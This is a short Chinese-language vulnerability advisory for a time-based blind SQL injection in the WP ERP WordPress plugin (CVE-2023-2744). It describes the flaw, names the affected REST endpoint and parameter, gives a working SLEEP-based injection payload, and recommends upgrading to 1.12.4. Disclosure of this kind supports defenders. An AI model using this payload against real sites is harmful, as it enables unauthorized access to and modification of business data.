Exploit Title: WP 插件 WP ERP <= 1.12.2 - SQL 注入

日期：15-10-2023

漏洞作者：Arvandy

软件链接：https://wordpress.org/plugins/erp/

厂商主页：https://wperp.com/

版本：1.12.2

测试环境：Windows、Linux

CVE：CVE-2023-2744

产品描述

WP ERP 是首款功能完备的 ERP（企业资源计划）系统，您可以通过单一平台同时管理您的 WordPress 网站和业务。WP ERP 旨在以简洁的方式满足您所有的企业业务需求。借助实时报告和更好的业务数据处理方式，让您的运营管理更完善、远离错误，并为公司的下一次飞跃做好准备。WP ERP 包含 3 个核心模块：HR、CRM 和会计模块，它们共同构成了一个适用于任何类型企业的完整 ERP 系统。

漏洞概述：

WordPress 插件 WP ERP - 会计模块 <= 1.12.2 存在通过 /wp-json/erp/v1/accounting/v1/people 端点上的 TYPE 参数引发的盲 SQL 注入（基于时间）漏洞。该漏洞可能导致未经授权的数据访问和修改。

概念验证（PoC）：

受影响端点：/wp-json/erp/v1/accounting/v1/people?type= 受影响参数：type payload: customer') AND (SELECT 1 FROM (SELECT SLEEP(3))x) AND ('x'='x

修复建议

升级至 1.12.4 版本